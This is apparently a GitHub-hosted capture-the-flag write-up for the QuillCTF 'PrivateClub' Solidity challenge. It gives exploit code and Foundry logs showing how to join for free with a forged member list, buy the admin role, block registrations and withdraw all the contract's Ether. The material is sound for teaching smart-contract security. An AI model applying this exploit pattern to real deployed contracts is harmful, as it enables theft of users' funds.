Skip to content

Latest commit

 

History

History
60 lines (46 loc) · 2.41 KB

PrivateClub.md

File metadata and controls

60 lines (46 loc) · 2.41 KB

QuillCTF: PrivateClub Exploit

The objective of the CTF was to become a member of the private club, to block future registrations and also to withdraw all Ether from the smart contract.

Exploit

Anyone can become a member of the private club by triggering the becomeMember() function. It's even possible for an exploiter to craft a fake member list to avoid paying fees when registering by creating a fraudulent member list consisting solely of their own address. This way, the value sent with the transaction will be sent back to the exploiter. This vulnerability exists because the function does not verify the authenticity of the member list.

// Become a member of the private club
address[] memory members = new address[](3);
members[0] = address(exploiter);
members[1] = address(exploiter);
members[2] = address(exploiter);
target.becomeMember{value: 3 ether}(members);

Once done, the exploiter only needs 10 Ether to become the new owner of the contract. With this level of ownership, the exploiter gains an excessive amount of power, enabling them to prevent others from registering and withdraw all of the funds.

// Pay to become the new owner
target.buyAdminRole{value: 10 ether}(exploiter);
assertTrue(target.members(exploiter));

Now the exploiter can abuse their power and carry out any actions they desire.

// Close the registration period: users won't be able to register anymore
target.setRegisterEndDate(block.timestamp - 1);

// Withdraw all the funds
target.adminWithdraw(exploiter, address(target).balance);

PoC

The following are the logs generated by executing the exploit using Foundry:

$ make exploit CONTRACT=PrivateClub
Running 1 test for test/QuillCTF/PrivateClubExploit.t.sol:PrivateClubExploit
[PASS] testExploit() (gas: 158544)
Logs:
  Balances: target=100 ETH exploiter=20 ETH
  Become a member of the private club
  Balances: target=100 ETH exploiter=20 ETH
  Pay to become the new owner
  Balances: target=110 ETH exploiter=10 ETH
  Close the registration period
  User 3 tries to become a member without any success
  Withdraw all the funds
  Balances: target=0 ETH exploiter=120 ETH

Test result: ok. 1 passed; 0 failed; finished in 1.31ms